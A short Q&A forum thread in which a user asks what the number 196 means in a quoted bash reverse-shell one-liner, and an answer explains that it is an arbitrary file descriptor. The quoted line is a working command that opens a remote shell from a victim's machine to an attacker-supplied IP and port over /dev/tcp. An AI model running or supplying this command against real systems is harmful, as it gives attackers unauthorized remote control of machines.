5

I know that when the following code is run a reverse bash shell is created from the victim's computer to the attacker's computer. Can someone please explain to me the significance of the number "196"?

0<&196;exec 196<>/dev/tcp/<your IP>/<same unfiltered port>; sh <&196 >&196 2>&196

This code was taken from here.

1 Answer 1

4

Can someone please explain to me the significance of the number "196"?

196 is a randomly chosen number for a file descriptor that you're opening for reading from and writing to via exec. You can replace it by any number > 2.

3

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .